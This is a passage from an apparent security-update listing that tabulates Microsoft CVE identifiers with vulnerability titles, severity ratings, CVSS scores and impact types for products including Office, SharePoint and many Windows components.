\n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  